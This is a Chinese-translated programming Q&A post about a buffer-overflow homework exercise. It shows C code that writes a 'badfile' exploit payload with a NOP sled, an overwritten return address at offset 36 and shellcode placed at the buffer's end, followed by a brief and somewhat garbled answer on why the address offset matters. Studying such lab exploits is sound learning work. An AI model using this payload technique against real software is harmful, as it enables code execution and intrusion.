在c中利用BOF?

时间:2019-01-25 17:04:43

标签: c memory-address buffer-overflow

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    *((long *) (buffer + 36)) = 0xffffce78 + 0x80;

    memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我只是在BOF上做作业,现在我知道执行BOF的两件事。

  

1,指令指针的地址,以便指向我的shellcode

     

2,我的shell代码的地址。

缓冲区地址在gdb中为0xffffce28,在C中为0xffffce78,$ ebp指向0xffffce48。因此,要获取eip的地址,0xffffce48 - 0xffffce28 + 4 = 36。但是将我的shell代码地址0xffffce78存储在缓冲区+36中会引发非法指令(内核已转储),但是在缓冲区地址中添加0x80会起作用吗?

1 个答案:

答案 0 :(得分:0)

由于外壳程序代码位于缓冲区的末尾。尝试执行的第一条指令是eip值*((long *) (buffer + 36)) = 0xffffce78 + 0x80;,因此这不是合法指令。